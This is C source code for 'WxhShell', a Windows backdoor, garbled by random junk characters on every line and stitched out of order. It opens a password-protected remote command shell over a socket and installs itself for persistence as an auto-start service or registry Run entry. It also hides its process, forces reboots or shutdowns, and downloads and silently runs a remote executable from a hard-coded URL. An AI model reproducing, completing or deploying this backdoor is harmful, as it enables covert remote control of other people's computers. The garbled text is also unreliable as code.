    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r}nz )=\Cj  
    if(Boot(SHUTDOWN)) ~8 S2BV3@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eXA@J[- M:  
    else { 4ux^K:z  
    closesocket(wsh); }kZ)|/]kn  
    ExitThread(0); &iI5^b-P  
    } ssY5g !%  
    break; |\BxKwS^  
    } EBMZ7b-7  
  // 获取shell as^!c!  
  case 's': { G0h/]%I  
    CmdShell(wsh); qw<~v?{|C  
    closesocket(wsh); qxbGUyH==  
    ExitThread(0); T/$hN hQK  
    break; FKWL{"y  
  } wN]]t~K)Q  
  // 退出 ]5a,%*f+  
  case 'x': { 9M;k(B!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2A&Y})D  
    CloseIt(wsh); 8, " 5z_  
    break; ?v,4seRuz  
    } 9.>he+  
  // 离开 4Ai#$SHLm  
  case 'q': { Lj2Au_5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 v 3%a3  
    closesocket(wsh); 0zc~!r~  
    WSACleanup(); <wTD}.n  
    exit(1); 0#: St  
    break; \f4JIsZ-&  
        } 68QA%m'J  
  } 6Eu"T9 (  
  } W[B;;"ro  
R>B4v+b  
  // 提示信息 K<E|29t^k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -'Oq.$Qq  
} N$! Vm(S  
  } q?$<{Z"  
 j|owU  
  return; \O=t5yS  
} }@TtX\7(D  
>Pwu>  
// shell模块句柄 ? t_$C,A+  
int CmdShell(SOCKET sock) :9]"4ktoJ  
{ w,VUWja  
STARTUPINFO si; 1kczlTF  
ZeroMemory(&si,sizeof(si)); d>hLnz1O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; krecUpo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i p; RlO  
PROCESS_INFORMATION ProcessInfo; ^3lEfI<pBm  
char cmdline[]="cmd"; !Ct'H1J-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 94'0X  
  return 0; D:#e;K  
} ' }T6dS  
wvz_)b N~A  
// 自身启动模式 cr>"LAi  
int StartFromService(void) a&C}' e"  
{ &O\$=&, h  
typedef struct JW9U&Bj{  
{ &Xp<%[:  
  DWORD ExitStatus; NsF8`r g  
  DWORD PebBaseAddress; eUEO~M2&U{  
  DWORD AffinityMask; EZ)$lw/!J  
  DWORD BasePriority; wq>0W 4(  
  ULONG UniqueProcessId; Z"5ewU<?  
  ULONG InheritedFromUniqueProcessId; &Ef_p-e-P  
}   PROCESS_BASIC_INFORMATION; #G\;)pT  
Np2.X+  
PROCNTQSIP NtQueryInformationProcess; E3d# T  
Af XlV-v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (0!U,8zz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L@x#:s=  
&pN/+,0E  
  HANDLE             hProcess; dS)c~:&+  
  PROCESS_BASIC_INFORMATION pbi; K!qV82b='{  
'D[g{LkL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [fIElH<  
  if(NULL == hInst ) return 0; 50HRgoP5Y  
57rH`UFXH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dZ{yNh.]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BiI`oCX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {i|$^A3  
a[ A*9%a  
  if (!NtQueryInformationProcess) return 0; H-'~c \)  
-=VGXd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gF8n{b  
  if(!hProcess) return 0; Y4,LXuQ  
]x^v;r~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? yek\X  
{3){f;b  
  CloseHandle(hProcess); eG\`SKx_  
9xM7X?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ctT6va  
if(hProcess==NULL) return 0; pHv~^L%=  
sFa5#w*>  
HMODULE hMod; $^louas&  
char procName[255]; +Q!  
unsigned long cbNeeded; 5~E'21hJ  
KV]8o'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /><+[\q4LM  
{n-6e[  
  CloseHandle(hProcess); MNV OloA  
m+'vrxTY  
if(strstr(procName,"services")) return 1; // 以服务启动 !)+8:8H'  
3%DDN\q\u  
  return 0; // 注册表启动 " twq#Alx  
} +"F9yb  
JVt(!%K}&  
// 主模块 n Wb0S  
int StartWxhshell(LPSTR lpCmdLine) D/Hob  
{ |n q}#  
  SOCKET wsl; q}MPl2  
BOOL val=TRUE; ]}HuK#  
  int port=0; mrId`<L5l{  
  struct sockaddr_in door; 6ujePi <U  
#P5tTCM  
  if(wscfg.ws_autoins) Install(); !/wR[`s9w  
E'wJ+X9 +  
port=atoi(lpCmdLine); :y8wv|m  
=6^phZ(  
if(port<=0) port=wscfg.ws_port; 3e7P w`gLl  
\&. ]!!Q  
  WSADATA data; 1k?k{Ri  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iES?}K/q  
a@}A;y'd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %VmHw~xyF:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0 V3`rK  
  door.sin_family = AF_INET; e QGhX(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t%Hy#z1W_  
  door.sin_port = htons(port); 9~6)u=4sS"  
N_eZz#);  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *g~\lFX,u  
closesocket(wsl); c0Oc-,6J  
return 1; j_Q kw ?   
} C,#FH}  
\\9$1yg   
  if(listen(wsl,2) == INVALID_SOCKET) { ?/ Cl  
closesocket(wsl); |)+; d  
return 1; N;.}g*_+}  
} i{5,mS&  
  Wxhshell(wsl); "*N=aHsj  
  WSACleanup(); Kt\#|-{CH-  
T~JE.Y3B3  
return 0; 1@vlbgLr@  
'980.  
} NB[(O#  
L-QzC<[F/  
// 以NT服务方式启动 ;!H|0sv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b$k|D)_|  
{ ~T'Ri=  
DWORD   status = 0; bL"!z"NA  
  DWORD   specificError = 0xfffffff; Kb5 YA  
M^3pJ=;5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %YbcI|i]<0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +?[,{WtV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qmWn$,ax  
  serviceStatus.dwWin32ExitCode     = 0; k7\ ,N o}  
  serviceStatus.dwServiceSpecificExitCode = 0; @$ggPrs  
  serviceStatus.dwCheckPoint       = 0; AHl1{* [  
  serviceStatus.dwWaitHint       = 0; [d}AlG!  
7GVI={ b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z[pMlg6Z  
  if (hServiceStatusHandle==0) return; /Xo8 kC  
u[;,~eB%w  
status = GetLastError(); ** !  
  if (status!=NO_ERROR) Gn7P` t*.  
{ mpysnKH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oo{3-+ ?  
    serviceStatus.dwCheckPoint       = 0; ne (zGJd  
    serviceStatus.dwWaitHint       = 0; 9/_F  
    serviceStatus.dwWin32ExitCode     = status; \n`)>-  
    serviceStatus.dwServiceSpecificExitCode = specificError; AQ` `Dp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jDwLzvM O  
    return; 3HI- G.]hC  
  } 02F[4c~  
y+g01z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QFYO_$1 Y)  
  serviceStatus.dwCheckPoint       = 0; F#^<t$5t  
  serviceStatus.dwWaitHint       = 0; 1YxG<K]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {} gr\  
} 1*o=I-nOa  
l=.h]]`;  
// 处理NT服务事件,比如:启动、停止 j|/4V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a/v!W@Zz}  
{ X:1&Pdi  
switch(fdwControl) QaYUcma~n  
{ Sh+$w=vC  
case SERVICE_CONTROL_STOP: ;"N4Yflz  
  serviceStatus.dwWin32ExitCode = 0; DbH"e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; . vJlTg  
  serviceStatus.dwCheckPoint   = 0; K,' v{wSr  
  serviceStatus.dwWaitHint     = 0; !CO1I-yL  
  { HX&G  k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~R!M.gY[rK  
  } y +2  
  return; ]#*S.  r]  
case SERVICE_CONTROL_PAUSE: #lld*I"d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b)1v:X4Bv=  
  break; k6b0&il  
case SERVICE_CONTROL_CONTINUE: yy*8Aw}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1O{(9nNj  
  break; 2uln)]  
case SERVICE_CONTROL_INTERROGATE: 4,)EG1  
  break; |2t1m 6\j  
}; =]swhF+l-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 J B"qd  
} 5zf bI  
4 [K"e{W3  
// 标准应用程序主函数 'Jl |-RUd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <jwQ&fm)/R  
{ "7X[@xX@  
{k"t`uo_  
// 获取操作系统版本 ah9P C7[  
OsIsNt=GetOsVer(); uihU)]+@t/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7kDqgod^A  
1](PuQm7+  
  // 从命令行安装 "AcC\iq  
  if(strpbrk(lpCmdLine,"iI")) Install(); suF<VJ)&s  
](2\w9i%  
  // 下载执行文件 ^_rBEyz@  
if(wscfg.ws_downexe) { Nm.G,6<J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yPXa  
  WinExec(wscfg.ws_filenam,SW_HIDE); c`E0sgp  
} YQ7\99tj  
P]mJ01@'  
if(!OsIsNt) { TEN~3 Ef#  
// 如果时win9x,隐藏进程并且设置为注册表启动 gL(_!mcwu  
HideProc(); LjEG1$F>  
StartWxhshell(lpCmdLine); , R;k>'.  
} :Q-QY)hH  
else =Sp+$:q*  
  if(StartFromService()) FBP'AL|  
  // 以服务方式启动 t3(~aH  
  StartServiceCtrlDispatcher(DispatchTable); JLn)U4>z w  
else )kpNg:2p  
  // 普通方式启动 5"WI^"6b:  
  StartWxhshell(lpCmdLine); hC D6  
,%X"Caz  
return 0; LuE0Hb"S8  
} h%UM<TZ]"  
qe<xH#6  
>.o<}!FW  
W Yo>Md 8  
=========================================== RE%25t|  
7RZ HU+  
5 !Ho[  
?l>Ra0  
D_)N!,i  
!(8) '<t9  
" Xf%vfAf  
$No^\.mV  
#include <stdio.h> _fM=J+  
#include <string.h> f>zd,|)At  
#include <windows.h> P|tNmv[;  
#include <winsock2.h> 3'z L,WW  
#include <winsvc.h> LF X[v   
#include <urlmon.h> f!K{f[aDa  
9cXL4  
#pragma comment (lib, "Ws2_32.lib") UpSa7F:Uw  
#pragma comment (lib, "urlmon.lib") 'Y22HVUX  
U)6Ew4uRxV  
#define MAX_USER   100 // 最大客户端连接数 \ !qe@h<  
#define BUF_SOCK   200 // sock buffer $g&_7SJ@  
#define KEY_BUFF   255 // 输入 buffer K +l-A>Ic  
U9Gg#M4tY  
#define REBOOT     0   // 重启 m`9P5[m#x>  
#define SHUTDOWN   1   // 关机 S|  
@ *&`1  
#define DEF_PORT   5000 // 监听端口 !%/2^  
.Mxt F\  
#define REG_LEN     16   // 注册表键长度 49tJ+J-N  
#define SVC_LEN     80   // NT服务名长度 A)80qx:  
7TB&Q*Zf  
// 从dll定义API cMoBYk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W_bA.z T{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = J0r,dR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2= )V"lR\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J 7HOSFwXn  
RHu4cK!5  
// wxhshell配置信息 RH^; M-'  
struct WSCFG { Im"8+756  
  int ws_port;         // 监听端口 Fgw$;W  
  char ws_passstr[REG_LEN]; // 口令 5 D[`nU}  
  int ws_autoins;       // 安装标记, 1=yes 0=no q-r5zGI  
  char ws_regname[REG_LEN]; // 注册表键名 =6d'/D#J  
  char ws_svcname[REG_LEN]; // 服务名 Zfc{}ius  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T?KM}<$(O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 },%, v2}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S76x EL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $VJE&b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "\O{!Hj8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J?/NJ-F  
nkkUby9  
}; ?8ady% .ls  
rI'kZ0&  
// default Wxhshell configuration ,veo/k<"r8  
struct WSCFG wscfg={DEF_PORT, $AF,4Ir-b+  
    "xuhuanlingzhe", iUq{c+h  
    1, { 4B7a6  
    "Wxhshell", ')Qb,#/,%  
    "Wxhshell", B*^8kc:)L  
            "WxhShell Service", e/Y& d9` I  
    "Wrsky Windows CmdShell Service", (G 9Ku 8Y  
    "Please Input Your Password: ", yPk s,7U  
  1, 1>)uI@?Rb  
  "http://www.wrsky.com/wxhshell.exe", K_}81|=  
  "Wxhshell.exe" ^:2>I$  
    }; b4CXif  
(Eo#oX  
// 消息定义模块 D6:"k 2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?MD\\gN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tg;AF<VI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 aN}l QM  
char *msg_ws_ext="\n\rExit."; 1Ba.'~:  
char *msg_ws_end="\n\rQuit."; w -5_Ru  
char *msg_ws_boot="\n\rReboot..."; Qy\K oo  
char *msg_ws_poff="\n\rShutdown..."; e^h4cC\^  
char *msg_ws_down="\n\rSave to "; '<aFd)-  
D' `[y  
char *msg_ws_err="\n\rErr!"; DIWcX<s  
char *msg_ws_ok="\n\rOK!"; X({R+  
/H$/s=YU\U  
char ExeFile[MAX_PATH]; 4~e6z(  
int nUser = 0; gx=2]~O1(  
HANDLE handles[MAX_USER]; NBO&VYs|  
int OsIsNt; eXCH*vZY  
bdyIt)tK+  
SERVICE_STATUS       serviceStatus; | (: PX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,S7M4ajVZB  
aq$adPtu  
// 函数声明 (@cZmU,  
int Install(void); +f\r?8s  
int Uninstall(void); j12khp?  
int DownloadFile(char *sURL, SOCKET wsh); jEW@~e  
int Boot(int flag); qViolmDz  
void HideProc(void); to3D#9Ep  
int GetOsVer(void); c59l/qoz  
int Wxhshell(SOCKET wsl); d~w}{LR[1  
void TalkWithClient(void *cs); /;9]LC.g  
int CmdShell(SOCKET sock); 0[!38  
int StartFromService(void); ZZU"Q7`^  
int StartWxhshell(LPSTR lpCmdLine); ' 4 Kf  
W_ubgCB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *h2)$^P%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #6za  
("_tML 8/p  
// 数据结构和表定义 0BQ<a  
SERVICE_TABLE_ENTRY DispatchTable[] = }zqYn`ffD  
{ Q*caX   
{wscfg.ws_svcname, NTServiceMain}, Jtl[9qe#]  
{NULL, NULL} 8\rHSsP  
}; QW6\~l 4  
6Ej@;]^^-  
// 自我安装 xyRZ v]K1  
int Install(void) Z{ b($po  
{ ?iaD;:'qE  
  char svExeFile[MAX_PATH]; S1W(]%0/  
  HKEY key; v1~`76^  
  strcpy(svExeFile,ExeFile); Oxr?y8C~  
)Tj\ym-Vl  
// 如果是win9x系统,修改注册表设为自启动 J2Eb"y>/;  
if(!OsIsNt) { ]z 5gC`E0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hv<jf38  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Y(f7,JX  
  RegCloseKey(key); C]DvoJmBs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @G0j/@v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uNG?`>4>  
  RegCloseKey(key); 16n8[U!  
  return 0; Zn"1qLPF  
    } \!,qXfTMB  
  } |k=L&vs  
} @Xq3>KJ_)H  
else { ?#_]Lzn'  
l} UOg   
// 如果是NT以上系统,安装为系统服务 K;#9: Z^+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  XV*uu "F  
if (schSCManager!=0) tS&rR0<OW  
{ d=8q/]_p  
  SC_HANDLE schService = CreateService u7kw/_f  
  ( psZ #^@>mJ  
  schSCManager, H| 1O>p&  
  wscfg.ws_svcname, #F!'B|n  
  wscfg.ws_svcdisp, tO]` I-  
  SERVICE_ALL_ACCESS, Irnfr\l.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i-_ * 5%A  
  SERVICE_AUTO_START, }dO^q-t$3  
  SERVICE_ERROR_NORMAL, ( mKuFz7  
  svExeFile, K\`>'C2_V  
  NULL, J\x.:=V  
  NULL, WZJ}HHePr  
  NULL, I:G4i}mA  
  NULL, L/n?1'he  
  NULL 2q ,> *B?  
  ); #iAEcC0k5  
  if (schService!=0) Wf>scl `s  
  { h$~ \to$C  
  CloseServiceHandle(schService); ?\NWKp  
  CloseServiceHandle(schSCManager); #Jqa_$\.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o `N /w  
  strcat(svExeFile,wscfg.ws_svcname); 'vUx4s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^z\*; f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %wuD4PRK  
  RegCloseKey(key); ]EZiPW-uy  
  return 0; MUfhk)"  
    } hIv8A_>@`  
  } I,d5Y3mC  
  CloseServiceHandle(schSCManager); FOx&'dH %@  
} O$,MdhyXC  
} >|@i8?|E  
sHQ82uX  
return 1; 0O:')R&  
} a@&P\"k  
8Mf{6&F=  
// 自我卸载 HRxA0y=  
int Uninstall(void) YB1uudW9  
{ R:t>P Fwo  
  HKEY key; }{.0mu9  
a2'f#[as  
if(!OsIsNt) { lboi\GP|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rW(<[2vg  
  RegDeleteValue(key,wscfg.ws_regname); V O= o)H\  
  RegCloseKey(key); z<c%Xl\$%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .V Cfh+*J#  
  RegDeleteValue(key,wscfg.ws_regname); ^yo~C3 r~  
  RegCloseKey(key); Gn8'h TM  
  return 0; 1||\3L/  
  } mjtmN0^SR  
} e7^B3FOx  
} X|w[:[P  
else { mWPA]g(  
l@OY8z-_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); efu'PfZ`&  
if (schSCManager!=0) n$O[yRMI[  
{ hPB^|#}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *P.Dbb8vn  
  if (schService!=0) !ENDQ?1  
  { M#7w54~b?M  
  if(DeleteService(schService)!=0) { m<X[s  
  CloseServiceHandle(schService); s}3`%?,6y  
  CloseServiceHandle(schSCManager); m=hUHA,p4  
  return 0; <)dHe:  
  } ;mAlF>6]\  
  CloseServiceHandle(schService); BrO" _  
  } Dxlpo! ?#  
  CloseServiceHandle(schSCManager); :|tWKA  
} yHk}'YP  
} Y3QrD&V  
2aR<xcSg  
return 1; c?0.>^,B Q  
} o'SZ sG  
AYP*J  
// 从指定url下载文件 @z-%:J/$  
int DownloadFile(char *sURL, SOCKET wsh) 7(S66  
{ :K)7_]y  
  HRESULT hr; \_w>I_=F  
char seps[]= "/"; 34gC[G=  
char *token; %HAforH  
char *file; V6ICR{y<3  
char myURL[MAX_PATH]; 4fyds< f  
char myFILE[MAX_PATH]; 8*iIJ  
UTLuzm  
strcpy(myURL,sURL); 5u89?-UD  
  token=strtok(myURL,seps); P`xQL  
  while(token!=NULL) !|#W,9  
  { ?~p]Ey}~9  
    file=token; c&GVIrJ  
  token=strtok(NULL,seps); [<,i}z  
  } CVy\']  
nde_%d$  
GetCurrentDirectory(MAX_PATH,myFILE); W Y]   
strcat(myFILE, "\\"); +\_c*'K>  
strcat(myFILE, file); 6B=: P3Y  
  send(wsh,myFILE,strlen(myFILE),0); h7"c_=w+  
send(wsh,"...",3,0); 5Y(<T~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bgvv6(i  
  if(hr==S_OK) L HW\A8  
return 0; Qu;cl/&  
else 'OTQiI^t=  
return 1; * ",/7(  
fR$_=WWN>h  
} (& UQ^  
F!_8?=|  
// 系统电源模块 ``?79MJ5  
int Boot(int flag) Nm7YH@x*o  
{ Z)^1~!w0  
  HANDLE hToken; l{o,"P"  
  TOKEN_PRIVILEGES tkp; LpYG!Kl  
{TL.2  
  if(OsIsNt) { p.^qB]%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  B8~JUGD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X;&Iu{&=  
    tkp.PrivilegeCount = 1; <c77GimD?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QB.QG!@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JJZu%9~[  
if(flag==REBOOT) { >2t.7UhDI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d2a*xDkv  
  return 0; YLsOA`5X  
} 2if7|o$=  
else { /Bw <?:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [. Db56  
  return 0; mfqnRPZ  
} !*1 $j7`tP  
  } .mbqsb]&Y  
  else { 7M/v[dwL  
if(flag==REBOOT) { d@XXqCR<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9?XQB%44  
  return 0; ]?6Pt:N2  
} [eO^C  
else { KcvstC`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \47djmG-  
  return 0; D){my_ /  
} 48IrC_0j  
} 64i*_\UKe  
smUSR4VK  
return 1; /rIyW?& f  
} lQM&q  
sg8[TFX@Z  
// win9x进程隐藏模块 hm*cGYV/  
void HideProc(void) *\(MG|S  
{ ~ \]?5 nj  
l+a1`O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \(A A|;  
  if ( hKernel != NULL ) (Z0_e&=*  
  { ^B)f!HtU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QR2S67-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~].?8C.>*  
    FreeLibrary(hKernel); CkV5PU  
  } Qhq' %LR  
3_ly"\I\  
return; "ze-Mb  
} } J[Z)u  
4_`(c1oA  
// 获取操作系统版本 1Q/= s,{u  
int GetOsVer(void) Kh$Q9$  
{ E<l/o5<nC  
  OSVERSIONINFO winfo; 3=Q:{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =%B5TBG  
  GetVersionEx(&winfo); 6_s(Kx>j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nq%ir8hE  
  return 1; eaC%& k  
  else #;yxn.</  
  return 0; `*l aUn  
} H$+@O-  
,$} xPC  
// 客户端句柄模块 uGv|!UQw  
int Wxhshell(SOCKET wsl) {Q}F.0Q  
{ L>h|1ZK  
  SOCKET wsh; N;`/>R4|I  
  struct sockaddr_in client; g/FZ?Wo  
  DWORD myID; hvGD`  
VsJiE0'%  
  while(nUser<MAX_USER) :r>^^tGT!  
{ pM^ZC  
  int nSize=sizeof(client); _ 6SAU8M,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j4<K0-?  
  if(wsh==INVALID_SOCKET) return 1; Xhq7)/jp  
NS65F7<&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P(3k1SM  
if(handles[nUser]==0) r'`7}@H*  
  closesocket(wsh); MkL)  
else ZfH +Iqd  
  nUser++; ua)jGif  
  } m"T}em#   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n)~*BpL3  
q)mG6Su d  
  return 0; 0k#7LubWZl  
} *a\6X( ~  
9O -2  
// 关闭 socket lm6hFvEZ  
void CloseIt(SOCKET wsh) &JXb) W  
{ ME$J42  
closesocket(wsh); i y8Jl  
nUser--; ?=ffv]v|  
ExitThread(0); J#48c'  
} >.6|\{*sG  
p#CjkL  
// 客户端请求句柄 z&WtPSyGj  
void TalkWithClient(void *cs) 2E?!Q I\O  
{ [}YUi>NGA  
Q6W![571;  
  SOCKET wsh=(SOCKET)cs; 6Cz O ztn  
  char pwd[SVC_LEN]; D#G%WT/"  
  char cmd[KEY_BUFF]; >{N}UNZ$}  
char chr[1]; c:.~%AJx  
int i,j; m`l9d4p w?  
FJDE48Vi  
  while (nUser < MAX_USER) { <sw@P":F  
\n t~K}a  
if(wscfg.ws_passstr) { )q[P&f(h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {9yf0n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BY.k.]/  
  //ZeroMemory(pwd,KEY_BUFF); V ^+p:nP  
      i=0; J*[@M*R;&  
  while(i<SVC_LEN) { 4Wp5[(bg  
'L7qf'RV  
  // 设置超时 3*& Y'/!  
  fd_set FdRead; 0:`|T jf_  
  struct timeval TimeOut; KW(a@X  
  FD_ZERO(&FdRead); +i!5<nn  
  FD_SET(wsh,&FdRead); ?+))J~@t  
  TimeOut.tv_sec=8; D3 yTN"  
  TimeOut.tv_usec=0; r|=1{N x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jup)A`64  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $'%GB $.  
] \M+ju  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @uH!n~QV  
  pwd=chr[0]; qx'0(q2Ii(  
  if(chr[0]==0xd || chr[0]==0xa) { c7jmzo  
  pwd=0; >;^/B R=  
  break; a8f#q]TyQ  
  } %\v8 FCb  
  i++; ?0_<u4  
    } V D~5]TQ  
N^dQX,j  
  // 如果是非法用户,关闭 socket 54CJ6"q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); | L8 [+_m  
} V2ih/mh   
pY`$k#5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bAPMD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G;3%k.{  
?id) 2V0s  
while(1) { VD$5 Djq  
1>OlBp  
  ZeroMemory(cmd,KEY_BUFF); Ln4]uqMG.  
Z^ :_,aJ?  
      // 自动支持客户端 telnet标准   g#=<;X2  
  j=0; V9,<>  
  while(j<KEY_BUFF) { 8i154#l+\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9F>`M  
  cmd[j]=chr[0]; >[AmIYg  
  if(chr[0]==0xa || chr[0]==0xd) { Tb$))O}  
  cmd[j]=0;  SvT0%2  
  break; 1o`1W4Q  
  } Qds<j{2  
  j++; rXi&8R[  
    } [zx|3wWAX-  
J5G<Y*q  
  // 下载文件 '9zW#b  
  if(strstr(cmd,"http://")) {  E.h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0&UG=q  
  if(DownloadFile(cmd,wsh)) PjeI&@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n/;x$Cb  
  else $<v4c5r]O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q< XFw-Pv  
  } 1ysfpX{=  
  else { 5c` ;~  
AH#mL  
